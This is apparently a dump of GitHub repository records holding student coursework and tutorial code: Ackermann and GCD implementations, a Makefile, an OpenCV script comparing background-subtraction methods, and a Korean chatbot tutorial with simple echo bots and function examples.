theory. We'll use some publicly available datasets and play\naround with them.\n\n## Prerequisites:\n- Laptop\n- Do the following on your laptop\n + Download / install ```Virtualbox``` from https://www.virtualbox.org/wiki/Downloads\n + Download the ```NeuroDebian``` Virtual Machine here http://neuro.debian.net/debian/vm/NeuroDebian_7.2.0_amd64.ova\n + Open ```Virtualbox```\n + Follow http://neuro.debian.net/vm.html to import/create the VM\n- Or use your own scikit-learn / matplotlib installation\n- Some python if you want. Plenty of tutorials online, google found this: http://www.learnpython.org\n- Ability to look at a command prompt without nervous breakdown.\n\n\n## Topics are gonna be some of the following,\n- Basics of Machine Learning\n + Classification\n + Regression\n- Dimensionality Reduction\n + Principal Component Analysis\n + Implementation\n- Visualization\n- Linear Discriminant Analysis\n- Support Vector Machines\n + Grid Search\n- Ensembles\n + Random Forests\n- ...\n\nCost: free for DSL members, HKD 200 otherwise. Goes pretty much entirely towards rent and\nutilities of DSL.\n" } ]
5
Jacetone/CS471
https://github.com/Jacetone/CS471
8180941685140fb1bffbf3074c55214b03b5f769
57138c949c3ec21d060740ce2bbe6e4eb38bb161
2610f71feeafee8b4ead01bf89113974aa64e15f
refs/heads/master
2022-02-09T19:57:07.378945
2019-05-02T13:31:49
2019-05-02T13:31:49
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.46222221851348877, "alphanum_fraction": 0.5022222399711609, "avg_line_length": 15.666666984558105, "blob_id": "7662c536b9d15240f8282c845db281d77233b0c2", "content_id": "3d786b7eb7ce4196aea992f90c14ffb6b18ac293", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 450, "license_type": "no_license", "max_line_length": 53, "num_lines": 27, "path": "/HW1/src/ack.c", "repo_name": "Jacetone/CS471", "src_encoding": "UTF-8", "text": "//Maitri Mangal\n//CS471 Assignment 1\n\n#include <stdio.h>\n\nint ack(int m, int n){\n\tif(m == 0){\n\t\treturn(n+1);\n\t}else if(n == 0 && m > 0){\n\t\treturn ack(m-1, 1);\n\t}else{\n\t\treturn ack(m-1, ack(m, n-1));\n\t}\n}\n\nint main(int argc, char **argv) {\n \n if (argc < 3) {\n printf(\"%s usage: [NUMBER] [NUMBER]\\n\", argv[0]);\n return 1;\n }\n int m = atoi(argv[1]);\n int n = atoi(argv[2]);\n int r = ack(m,n);\n printf(\"ACK(%d, %d) = %d\\n\", m, n, r);\n return 0;\n}\n" }, { "alpha_fraction": 0.5803921818733215, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 14.9375, "blob_id": "e0f9566fb66c1c8a7133bbf82fa4d8ac35991564", "content_id": "efdfe8c400261eb7ae53e5e73e3d7d69f141f1f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 255, "license_type": "no_license", "max_line_length": 40, "num_lines": 16, "path": "/HW2/src/Makefile", "repo_name": "Jacetone/CS471", "src_encoding": "UTF-8", "text": "all: arith1 arith2\n\narith1: arith1.c\n\tgcc -g -Wall -Wextra -o arith1 arith1.c\n\narith2: arith2.c\n\tgcc -g -Wall -Wextra -o arith2 arith2.c\n\nq4: q4.c\n\tgcc -g -Wall -Wextra -o q4 q4.c\n\nq8: q8.c\n\tgcc -g -Wall -Wextra -o q8 q8.c\n\nclean:\n\trm arith1 arith2 q4 q8\n" }, { "alpha_fraction": 0.53899085521698, "alphanum_fraction": 0.5596330165863037, "avg_line_length": 14.034482955932617, "blob_id": "0e7eedbc9612e8b0c6cbc5ddf662b9e383e31a64", "content_id": "eef6ab6cb3bd2bd296f850ce82ca31dd529958aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 436, "license_type": "no_license", "max_line_length": 56, "num_lines": 29, "path": "/HW1/src/gcd_full.rb", "repo_name": "Jacetone/CS471", "src_encoding": "UTF-8", "text": "#Maitri Mangal\n#CS471 Assignment 1\n\n#! /usr/bin/env ruby\n\ndef gcdI(i, j)\n\twhile i != j\n\t\tif i > j\n\t\t\ti = i - j\n\t\telse\n\t\t\tj = j - i\n\t\tend\n\tend\n\treturn i\nend\n\ndef gcdF(i, j)\n\treturn gcdF(i-j, j) if i > j\n\treturn i if i == j\n\treturn gcdF(i, j-i)\nend \n\nif ARGV.length != 2 \n puts \"gcd_full.rb usage: [NUMBER] [NUMBER]\" \n exit\nend\n\nputs \"gcdI() : \" + gcdI(ARGV[0].to_i, ARGV[1].to_i).to_s\nputs \"gcdF() : \" + gcdF(ARGV[0].to_i, ARGV[1].to_i).to_s\n" }, { "alpha_fraction": 0.5582706928253174, "alphanum_fraction": 0.5770676732063293, "avg_line_length": 18.703702926635742, "blob_id": "93024ae55b0a4f009f0ccaabd29d5381eed481ae", "content_id": "407f64671c5c7cde5700ddd72dfed1abbfd5349e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 532, "license_type": "no_license", "max_line_length": 66, "num_lines": 27, "path": "/HW1/src/gcd_full.py", "repo_name": "Jacetone/CS471", "src_encoding": "UTF-8", "text": "#Maitri Mangal\n#CS471 Assignment 1\n\n#! /usr/bin/env python\nimport sys\n\ndef gcdI(i, j):\n\twhile i != j:\n\t\tif i > j:\n\t\t\ti = i - j\n\t\telse:\n\t\t\tj = j - i\n\treturn i\n\n#it is called gcdF instead of gcdR in the assignment page\ndef gcdF(i, j):\n\tif i > j : return gcdF(i-j, j)\n\telif i == j : return i\n\telse : return gcdF(i, j-i)\n\n\nif len(sys.argv) != 3:\n print(\"%s usage: [NUMBER] [NUMBER]\" % sys.argv[0])\n exit()\n\nprint(\"gcdI() : \"+ str( gcdI(int(sys.argv[1]), int(sys.argv[2]))))\nprint(\"gcdF() : \"+ str( gcdF(int(sys.argv[1]), int(sys.argv[2]))))\n" }, { "alpha_fraction": 0.6451612710952759, "alphanum_fraction": 0.6451612710952759, "avg_line_length": 9.333333015441895, "blob_id": "0dc21118e1427547f8f7ff808e1d48b26afa01b8", "content_id": "580361c6376d60efe3500968b7d1171d48e259a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 62, "license_type": "no_license", "max_line_length": 24, "num_lines": 6, "path": "/HW1/src/gcd.h", "repo_name": "Jacetone/CS471", "src_encoding": "UTF-8", "text": "#ifndef GCD_H\n#define GCD_H\n\n\tint gcdI(int i, int j);\n\n#endif\n" }, { "alpha_fraction": 0.5176470875740051, "alphanum_fraction": 0.5647059082984924, "avg_line_length": 16.894737243652344, "blob_id": "cccbeccdb41cade82974f2c36719f3d7550e0b2c", "content_id": "f9ee971373d6a9170b2a1dae2f66f429fc65266b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 340, "license_type": "no_license", "max_line_length": 64, "num_lines": 19, "path": "/HW1/src/ack.py", "repo_name": "Jacetone/CS471", "src_encoding": "UTF-8", "text": "#Maitri Mangal\n#CS471 Assignment 1\n\n#! /usr/bin/env python\nimport sys\n\ndef ack(m, n):\n\tif m == 0:\n\t\treturn n+1\n\telif n == 0 and m > 0:\n\t\treturn ack(m-1, 1)\n\telse:\t\n\t\treturn ack(m-1, ack(m, n-1))\n\nif len(sys.argv) != 3:\n print(\"%s usage: [NUMBER] [NUMBER]\" % sys.argv[0])\n exit()\n\nprint(\"ack() : \"+ str( ack(int(sys.argv[1]), int(sys.argv[2]))))\n" }, { "alpha_fraction": 0.5273972749710083, "alphanum_fraction": 0.5787671208381653, "avg_line_length": 16.176469802856445, "blob_id": "734d40e11fc165f30f1b6ee54257cded8b9654d7", "content_id": "91041a0a0447ecf5f7cb2813ae1dec53e6105935", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 292, "license_type": "no_license", "max_line_length": 54, "num_lines": 17, "path": "/HW1/src/ack.rb", "repo_name": "Jacetone/CS471", "src_encoding": "UTF-8", "text": "#Maitri Mangal\n#CS471 Assignment 1\n\n#! /usr/bin/env ruby\n\ndef ack(m, n)\n\treturn n+1 if m == 0\n\treturn ack(m-1, 1) if n == 0 and m > 0\n\treturn ack(m-1, ack(m, n-1))\nend\n\nif ARGV.length != 2 \n puts \"ack.rb usage: [NUMBER] [NUMBER]\" \n exit\nend\n\nputs \"ack() : \" + ack(ARGV[0].to_i, ARGV[1].to_i).to_s\n" } ]
7
eddieczc/hw
https://github.com/eddieczc/hw
fef9d2cfd45232b4eaade56270b37bb2521c449b
1a6fe86d20a6fcaee7223089a931fca1758fa73b
7a68d8fb3684f1f335a029fea9eaf9e636eee3f1
refs/heads/master
2020-09-05T20:00:31.139423
2019-11-07T10:00:14
2019-11-07T10:00:14
220,199,897
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5540619492530823, "alphanum_fraction": 0.6031560301780701, "avg_line_length": 30.33699607849121, "blob_id": "a24b54705d2b5df9995b7040e39fb65479250478", "content_id": "ffeb7fd818653b6638d99ea262e990661d43dd28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8556, "license_type": "no_license", "max_line_length": 124, "num_lines": 273, "path": "/report_BackgroundSubtractor_r1/compare.py", "repo_name": "eddieczc/hw", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport cv2\nimport imutils\n#import time\nimport os\n#import tensorflow as tf\nimport math\n\n\n#bgPath = \"output/1538990680298.jpg\"\n# cap = cv2.VideoCapture('/media/sf_VMshare/videos/t1.mp4')\n# cap = cv2.VideoCapture(0)\nwidth = 640 #int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) # float\nheight = 480 #int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) # float\nprint(width, height)\n\ndisplayResize = 600\nFILE_OUTPUT = '../all.avi'\nminArea = 6000\n\nfgbg_mog = cv2.bgsegm.createBackgroundSubtractorMOG()\n#fgbg_mog = cv2.createBackgroundSubtractorMOG(history=60, detectShadows=True)\nfgbg_mog2 = cv2.createBackgroundSubtractorMOG2( detectShadows=True)\nfgbg_knn = cv2.createBackgroundSubtractorKNN( detectShadows=True)\nfgbg_gmg = cv2.bgsegm.createBackgroundSubtractorGMG()\n\nkernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(3,3))\n\nfourcc = cv2.VideoWriter_fourcc(*'MJPG')\nout = cv2.VideoWriter(FILE_OUTPUT,fourcc, 30.0, (int(width)*2,int(height*3)))\n\n\ndef preprocess(img): \n img = cv2.GaussianBlur(img, (111, 111), 0)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n\n return img\n\ndef posprocess(img):\n (T, img) = cv2.threshold(img, 90, 255, cv2.THRESH_BINARY)\n img = cv2.adaptiveThreshold(img,255,cv2.ADAPTIVE_THRESH_MEAN_C,\\\n cv2.THRESH_BINARY,11,2)\n img = cv2.dilate(img, None, iterations=62)\n img = cv2.erode(img, None, iterations=62)\n img = cv2.dilate(img, None, iterations=8)\n\n return img\n\ndef findContours(img):\n _, cnts, _ = cv2.findContours(img.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n return cnts\n\n\ndef mse(img1, img2):\n mse2 = np.mean( (img1 - img2) ** 2 )\n if mse2 == 0:\n return 100\n return mse2\n\ndef psnr(img1, img2):\n mse = np.mean( (img1 - img2) ** 2 )\n if mse == 0:\n return 100\n PIXEL_MAX = 255.0\n return 20 * math.log10(PIXEL_MAX / math.sqrt(mse))\n \n \n######################ห‡\n\nlastFrame = None\npath = '..\\input'\npath2 = '..\\groundtruth'\nfiles = []\nfiles2 = []\n# r=root, d=directories, f = files\nfiles_in=[]\nfiles_gt=[]\ngg=0\nggg=0\ngggg=0\nz=0\n\nfor r, d, f in os.walk(path):\n for file in f:\n if '.png' in file:\n files_in.append(os.path.join(r, file))\n \n gg+=1\n #print('------------')\n #(in_file)\n #print('------------')\n files_gt.append('0')\n for rr, dd, f2 in os.walk(path2):\n for file2 in f2:\n if file[-10::] == file2[-10::]:\n files_gt.pop()\n files_gt.append(os.path.join(rr, file2))\n ggg += 1\n \n \n\n#print('input:{}'.format(gg))\n#print('input:{}'.format(gg))\n#print('gound_truth:{}'.format(ggg))\n\n\n#print(len(files))\n#print(len(files2))\n\n#print(files_in)\n#print('------------------------------------------')\n#print('------------------------------------------')\n#print('------------------------------------------')\n#print('------------------------------------------')\n#print(files_gt)\n\n\n\n#for f3 in os.listdir(path):\n #print(f3)\n\n\nz=0\n#for f, f2 in zip(files,files2):\nfor f,f2 in zip(files_in,files_gt):\n\n frame = cv2.imread(f)\n\n gt = os.path.basename(f2)\n\n frame_preprocess = preprocess(frame)\n\n if(lastFrame is None): lastFrame = frame_preprocess\n\n\n #\n fgmask_diff = cv2.absdiff(frame_preprocess, lastFrame)\n #lastFrame = frame_preprocess\n fgmask_mog = fgbg_mog.apply(frame_preprocess)\n fgmask_mog2 = fgbg_mog2.apply(frame_preprocess)\n fgmask_knn = fgbg_knn.apply(frame_preprocess)\n fgmask_gmg = fgbg_gmg.apply(frame_preprocess)\n \n\n #\n fgmask_mog = cv2.morphologyEx(fgmask_mog, cv2.MORPH_OPEN, kernel)\n fgmask_mog2 = cv2.morphologyEx(fgmask_mog2, cv2.MORPH_OPEN, kernel)\n fgmask_knn = cv2.morphologyEx(fgmask_knn, cv2.MORPH_OPEN, kernel)\n fgmask_gmg = cv2.morphologyEx(fgmask_gmg, cv2.MORPH_OPEN, kernel)\n \n \n \n boundcolor = (0,255,0)\n fontsize = 1.5\n locY = 80\n b = np.zeros(fgmask_mog.shape[:2], dtype = \"uint8\")\n r = np.zeros(fgmask_mog.shape[:2], dtype = \"uint8\")\n \n z+=1\n \n\n fgmask_diff_rgb = cv2.merge([fgmask_diff, fgmask_diff, fgmask_diff])\n fgmask_mog_rgb = cv2.merge([fgmask_mog, fgmask_mog, fgmask_mog])\n fgmask_mog2_rgb = cv2.merge([fgmask_mog2, fgmask_mog2, fgmask_mog2]) \n fgmask_knn_rgb = cv2.merge([fgmask_knn, fgmask_knn, fgmask_knn]) \n #cv2.putText(fgmask_knn_rgb, \"KNN:{}\".format(y), (250, locY), cv2.FONT_HERSHEY_COMPLEX, fontsize, boundcolor, 2) \n fgmask_gmg_rgb = cv2.merge([fgmask_gmg, fgmask_gmg, fgmask_gmg])\n \n \n d1 = 0\n d2 = 0\n d3 = 0\n d4 = 0\n d5 = 0\n m1 = 0\n m2 = 0\n m3 = 0\n m4 = 0\n m5 = 0\n \n if f2!='0':\n\n \n fgmask_diff_rgb_gray = cv2.cvtColor(fgmask_diff_rgb, cv2.COLOR_BGR2GRAY)\n fgmask_mog_rgb_gray = cv2.cvtColor(fgmask_mog_rgb, cv2.COLOR_BGR2GRAY)\n fgmask_mog2_rgb_gray = cv2.cvtColor(fgmask_mog2_rgb, cv2.COLOR_BGR2GRAY)\n fgmask_knn_rgb_gray = cv2.cvtColor(fgmask_knn_rgb, cv2.COLOR_BGR2GRAY)\n fgmask_gmg_rgb_gray = cv2.cvtColor(fgmask_mog2_rgb, cv2.COLOR_BGR2GRAY)\n \n cv2.imwrite('test1.png', fgmask_diff_rgb_gray)\n cv2.imwrite('test2.png', fgmask_mog_rgb_gray)\n cv2.imwrite('test3.png', fgmask_mog2_rgb_gray)\n cv2.imwrite('test4.png', fgmask_knn_rgb_gray)\n cv2.imwrite('test5.png', fgmask_gmg_rgb_gray)\n \n \n original = cv2.imread(f2)\n #original = preprocess(original)\n original = cv2.cvtColor(original, cv2.COLOR_BGR2GRAY)\n cv2.imwrite('test.png', original)\n original = cv2.imread(\"test.png\",1)\n \n \n contrast1 = cv2.imread(\"test1.png\",1)\n contrast2 = cv2.imread(\"test2.png\",1)\n contrast3 = cv2.imread(\"test3.png\",1)\n contrast4 = cv2.imread(\"test4.png\",1)\n contrast5 = cv2.imread(\"test5.png\",1)\n \n \n m1 = mse(original,contrast1)\n m2 = mse(original,contrast2)\n m3 = mse(original,contrast3)\n m4 = mse(original,contrast4)\n m5 = mse(original,contrast5)\n #print(\"MSE\")\n #print(m1)\n \n d1 = psnr(original,contrast1)\n d2 = psnr(original,contrast2)\n d3 = psnr(original,contrast3)\n d4 = psnr(original,contrast4)\n d5 = psnr(original,contrast5)\n print(\"PSNR\")\n print(d1)\n \n\n cv2.putText(original, \"Ground Truth\", (135, 60), cv2.FONT_HERSHEY_COMPLEX, fontsize, boundcolor, 2)\n cv2.imshow(\"Ground Truth\", imutils.resize(original, width=displayResize))\n \n cv2.putText(fgmask_diff_rgb, \"cv2.absdiff\", (150, locY), cv2.FONT_HERSHEY_COMPLEX, fontsize, boundcolor, 2)\n cv2.putText(fgmask_diff_rgb, \"MSE:{} PSNR:{}\".format(m1,d1), (180, locY+50), cv2.FONT_HERSHEY_COMPLEX, 1, boundcolor, 2)\n \n cv2.putText(fgmask_mog_rgb, \"MOG:{}\".format(d2), (250, locY), cv2.FONT_HERSHEY_COMPLEX, fontsize, boundcolor, 2)\n cv2.putText(fgmask_mog_rgb, \"MSE:{} PSNR:{}\".format(m2,d2), (180, locY+50), cv2.FONT_HERSHEY_COMPLEX, 1, boundcolor, 2)\n \n cv2.putText(fgmask_mog2_rgb, \"MOG2:{}\".format(d3), (240, locY), cv2.FONT_HERSHEY_COMPLEX, fontsize, boundcolor, 2)\n cv2.putText(fgmask_mog2_rgb, \"MSE:{} PSNR:{}\".format(m3,d3), (180, locY+50), cv2.FONT_HERSHEY_COMPLEX, 1, boundcolor, 2)\n\n cv2.putText(fgmask_knn_rgb, \"KNN:{}\".format(d4), (250, locY), cv2.FONT_HERSHEY_COMPLEX, fontsize, boundcolor, 2)\n cv2.putText(fgmask_knn_rgb, \"MSE:{} PSNR:{}\".format(m4,d4), (180, locY+50), cv2.FONT_HERSHEY_COMPLEX, 1, boundcolor, 2)\n\n cv2.putText(fgmask_gmg_rgb, \"GMG:{}\".format(d5), (250, locY), cv2.FONT_HERSHEY_COMPLEX, fontsize, boundcolor, 2)\n cv2.putText(fgmask_gmg_rgb, \"MSE:{} PSNR:{}\".format(m5,d5), (180, locY+50), cv2.FONT_HERSHEY_COMPLEX, 1, boundcolor, 2)\n\n \n cv2.putText(frame, \"Original:{}\".format(z), (150, locY), cv2.FONT_HERSHEY_COMPLEX, fontsize, boundcolor, 2)\n \n \n\n #print(frame.shape, fgmask_diff_rgb.shape)\n combined1 = np.hstack((frame,fgmask_knn_rgb))\n combined2 = np.hstack((fgmask_mog_rgb,fgmask_mog2_rgb ))\n combined3 = np.hstack((fgmask_gmg_rgb,fgmask_diff_rgb))\n combined = np.vstack((combined1, combined2, combined3))\n #print(combined.shape)\n #combined = imutils.resize(combined, width=1980)\n cv2.imshow(\"Combined\", imutils.resize(combined, width=displayResize))\n \n out.write(combined)\n \n k = cv2.waitKey(1) & 0xff\n if k == 27:\n break\n\n\n# cap.release()\ncv2.destroyAllWindows()\n" } ]
1
someii/chatbot
https://github.com/someii/chatbot
4848ae0f3e9ae0636aeca35050f2feb648923496
c3bd9b0311a4b6010ff78ecdc4aa7483a0f01527
6d1b8798aa27614ab65fad62e56a57e596abcf79
refs/heads/master
2020-04-08T11:57:38.627553
2018-11-23T00:53:43
2018-11-23T00:53:43
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6231883764266968, "alphanum_fraction": 0.625, "avg_line_length": 25.600000381469727, "blob_id": "f7210318bb6e6d2c816bda9b31bebbb17e8601b0", "content_id": "1882b5c67464f3467102d3afe2b5852394c28d72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 808, "license_type": "no_license", "max_line_length": 59, "num_lines": 20, "path": "/3์žฅ-EchoBot-1.py", "repo_name": "someii/chatbot", "src_encoding": "UTF-8", "text": "\"\"\"\r\nํŒŒ์ด์ฌ์˜ print(), input() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ ๊ฐ€์žฅ ๊ธฐ์ดˆ์ ์ธ ๋Œ€ํ™” ์‹œ์Šคํ…œ์„ ๋งŒ๋“ค์ž.\r\n\"\"\"\r\n\r\n# ๊ฐ€์žฅ ๊ธฐ์ดˆ์ ์ธ ๋ถ€๋ถ„์œผ๋กœ์จ print( ) ํ•จ์ˆ˜๋กœ ์‚ฌ์šฉ์ž์—๊ฒŒ ์งˆ๋ฌธ์„ ์œ ๋„ํ•˜์ž.\r\nprint('Say Something...')\r\n\r\n# ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ์งˆ๋ฌธ์„ ๋ฐ›์•„๋“ค์ด์ž. input( ) ํ•จ์ˆ˜ ์‚ฌ์šฉ\r\nuser_message = input()\r\n\r\n# ์งˆ๋ฌธ์— ๋Œ€ํ•œ ๋‹ต๋ณ€์„ ํ•˜์ž. ์ง€๊ธˆ์€ ์ผ๋‹จ EchoBackํ•˜์ž.\r\nprint(\"I can head you ! You said: \" + user_message)\r\n\r\n# ์œ„ 2๊ฐ€์ง€๋ฅผ ์•„๋ž˜์™€ ๊ฐ™์ด ํ•˜๋‚˜์˜ input( ) ํ•จ์ˆ˜๋กœ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋‹ค.\r\n# user_message = input('Say Something...')\r\n# print(\"I can hear you! You said: \" + user_message)\r\n\r\n# ์กฐ๊ธˆ ๋‹ค๋ฅด๊ฒŒ ํ•˜๋ ค๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์ž.\r\n# bot_message = \"I can hear you! You said: \" + user_message\r\n# print(bot_message)\r\n" }, { "alpha_fraction": 0.5656565427780151, "alphanum_fraction": 0.5656565427780151, "avg_line_length": 25.61111068725586, "blob_id": "f7d4308d7466d30e441843061ba008bf431f4ff8", "content_id": "2073ee219944ded6a682af4f595911773627d510", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 641, "license_type": "no_license", "max_line_length": 58, "num_lines": 18, "path": "/3์žฅ-EchoBot-2.py", "repo_name": "someii/chatbot", "src_encoding": "UTF-8", "text": "\"\"\"\r\n์ œ์–ด๋ฌธ์„ ์‚ฌ์šฉํ•ด์„œ ์—ฐ์†์ ์œผ๋กœ, ์—ฌ๋Ÿฌ ์ข…๋ฅ˜์˜ ์งˆ๋ฌธ์— ๋‹ต๋ณ€ํ•ด๋ณด์ž.\r\n์‚ฌ์šฉ์ž์™€ ๊ณ„์†์ ์œผ๋กœ ์งˆ์˜/์‘๋‹ต์„ ์ง„ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด์„œ ๋ฐ˜๋ณต๋ฌธ(while)์„ ์‚ฌ์šฉํ•˜์ž.\r\n๋‹ค์–‘ํ•œ ์งˆ๋ฌธ์„ ์ฒ˜๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด if ๋ฌธ์„ ์‚ฌ์šฉํ•˜์ž.\r\n\"\"\"\r\n\r\nwhile True:\r\n user_message = input('Say Something...')\r\n user_message = user_message.lower()\r\n if user_message == 'bye' or user_message == 'see you':\r\n print('bye')\r\n break\r\n elif user_message == 'hi':\r\n print('hi')\r\n elif user_message == 'good to see you':\r\n print('nice to meet you')\r\n else:\r\n print(\"i don't get it\")" }, { "alpha_fraction": 0.5585617423057556, "alphanum_fraction": 0.5856176614761353, "avg_line_length": 16.372549057006836, "blob_id": "889f7ceed9c264a1c960242382f3845f9ac2e347", "content_id": "0a4d0f88d191d796a2b73409ac808e4bd722fd29", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4377, "license_type": "no_license", "max_line_length": 59, "num_lines": 153, "path": "/3์žฅ-function-1.py", "repo_name": "someii/chatbot", "src_encoding": "UTF-8", "text": "# ํŠน์ •ํ•œ ์ผ๋งŒ ํ•˜๋Š” ํ•จ์ˆ˜\r\n'''\r\nํ•จ์ˆ˜๋Š” ๋ฐ˜๋ณต๋˜๋Š” ์ž‘์—…์— ์˜ํ•œ ๋ถˆํ•„์š”ํ•œ ์ž‘์—…์„ ์ค„์ด๊ณ , \r\nํ”„๋กœ๊ทธ๋žจ์˜ ์žฌ ์‚ฌ์šฉ์„ฑ์„ ๋†’์ผ ์ˆ˜ ์žˆ๋„๋ก ํ•ด์ฃผ๋ฉฐ, \r\n๋˜ํ•œ ๊ธด ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•  ๋•Œ, ์—ฐ๊ด€๋œ ๋ถ€๋ถ„๋ผ๋ฆฌ ํ•จ์ˆ˜๋ผ๋Š” ๋‹จ์œ„๋กœ ๋ฌถ์Œ์œผ๋กœ์จ \r\n๊ธด ์†Œ์Šค ์ฝ”๋“œ๋“ค์„ ํšจ์œจ์ ์œผ๋กœ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋‹ค.\r\nํ•จ์ˆ˜์˜ ๊ธฐ๋Šฅ์€ ์Œ์•… ์•…๋ณด์—์„œ โ€˜ํ›„๋ ดโ€™์ด๋ผ๊ณ  ์ƒ๊ฐํ•˜๋ฉด ๋œ๋‹ค. \r\n์˜ˆ๋ฅผ ๋“ค์–ด, ์• ๊ตญ๊ฐ€ 1์ ˆ์„ ๋ถ€๋ฅด๊ณ , (ํ›„๋ ด)์„ ๋ถ€๋ฅด๊ณ , \r\n๋˜ 2์ ˆ์„ ๋ถ€๋ฅด๊ณ  (ํ›„๋ ด)์„ ๋ถ€๋ฅด๋Š” ๊ฒฝ์šฐ, \r\n๋งค๋ฒˆ ํ›„๋ ด์„ ๋ฐ˜๋ณตํ•ด์„œ ์•…๋ณด์— ์“ฐ๊ธฐ ๊ท€์ฐฎ์œผ๋‹ˆ๊นŒ, \r\nํ›„๋ ด์ด๋ผ๊ณ  ๋ญ‰์ณ๋†“๊ณ , (ํ›„๋ ด) ๋ถ€๋ฅด์„ธ์š”โ€ฆ ๋ผ๊ณ  ๋ง๋งŒํ•˜๋ฉด ๋˜๋Š” ๊ฒƒ์ฒ˜๋Ÿผ, \r\nํ•จ์ˆ˜์˜ ๊ธฐ๋ณธ์ ์ธ ์—ญํ• ์€ ๋ฐ˜๋ณต๋˜๋Š” ๋ถ€๋ถ„์˜ ์žฌ ์‚ฌ์šฉ์„ฑ์„ ๋†’์ด๋Š” ์—ญํ• ์ด๋‹ค.\r\n'''\r\ndef greet1():\r\n print('Hi')\r\n\r\ngreet1()\r\n\r\n# ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋Š” ํ•จ์ˆ˜\r\ndef greet2():\r\n return 'Hello'\r\n\r\nprint(greet2())\r\n\r\n# ๊ฐ’์„ ์ „๋‹ฌ๋ฐ›๋Š” ํ•จ์ˆ˜\r\n'''\r\n์ˆ˜ํ•™์—์„œ ์‚ฌ์šฉํ•˜๋Š” ์‚ผ๊ฐ ํ•จ์ˆ˜ ์ค‘์—์„œ ์‚ฌ์ธ ํ•จ์ˆ˜๋Š” sin(30)๊ณผ ๊ฐ™์ด ๊ด„ํ˜ธ์— ์ˆซ์ž๋กœ ๊ฐ’์„ ์ „๋‹ฌํ•œ๋‹ค. \r\n๊ทธ๋Ÿฌ๋ฉด sin( ) ํ•จ์ˆ˜๋Š” ์ „๋‹ฌ๋ฐ›์€ ๊ฐ’์— ํ•ด๋‹นํ•˜๋Š” sin ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค.\r\nC ์–ธ์–ด์—์„œ๋„ ํ•จ์ˆ˜์— ๊ฐ’์„ ์ „๋‹ฌํ•˜๊ณ  ์‹ถ์€ ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋‹ค. \r\n์šฐ๋ฆฌ๊ฐ€ ์‚ฌ์šฉํ•œ print(โ€œHello, Worldโ€) ํ•จ์ˆ˜ ํ˜ธ์ถœ์€ \r\nprintf( ) ํ•จ์ˆ˜์—๊ฒŒ ๋ฌธ์ž์—ด์„ ๋„˜๊ฒจ์ค€ ๊ฒƒ์ด๋‹ค. \r\n์ด๋ ‡๊ฒŒ ํ•จ์ˆ˜์— ์ „๋‹ฌํ•˜๋Š” ๊ฐ’์„ ๋งค๊ฐœ ๋ณ€์ˆ˜(parameter, ํŒŒ๋ผ๋ฏธํ„ฐ)๋ผ๊ณ  ํ•œ๋‹ค. \r\n์•„๋ž˜์™€ ๊ฐ™์ด ํ•จ์ˆ˜์— ๋งค๊ฐœ ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•  ๊ฒฝ์šฐ์—๋Š”, \r\nํ•จ์ˆ˜๋ฅผ โ€œ์ •์˜โ€ํ•  ๋•Œ ๋งค๊ฐœ ๋ณ€์ˆ˜์˜ ๊ฐœ์ˆ˜, ์ข…๋ฅ˜, ์ด๋ฆ„ ๋“ฑ์„ ์ •ํ•ด์•ผํ•œ๋‹ค. \r\n๋งค๊ฐœ ๋ณ€์ˆ˜: ํŒŒ๋ผ๋ฏธํ„ฐ(parameter)๋ผ๊ณ ๋„ ํ•œ๋‹ค. \r\nํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ ๊ด„ํ˜ธ ์†์— ์ ์–ด์„œ ๋„˜๊ฒจ์ฃผ๋Š” ๊ฐ’์„ ๋งํ•œ๋‹ค. \r\n๋งค๊ฐœ ๋ณ€์ˆ˜๋ผ๋Š” ์šฉ์–ด๋Š” ํ˜ธ์ถœํ•˜๋Š” ํ•จ์ˆ˜(caller)์™€ ํ˜ธ์ถœ๋˜๋Š” ํ•จ์ˆ˜(callee) ์‚ฌ์ด์— \r\n๋ฐ์ดํ„ฐ๋ฅผ ์—ฐ๊ฒฐ(๋งค๊ฐœ)ํ•ด์ค€๋‹ค๋Š” ์˜๋ฏธ.\r\n\r\n'''\r\ndef greet3(message):\r\n print(message)\r\n\r\nprint('Say Hi!')\r\n\r\n\r\n# ๊ฐ’์„ ์ „๋‹ฌ๋ฐ›๊ณ 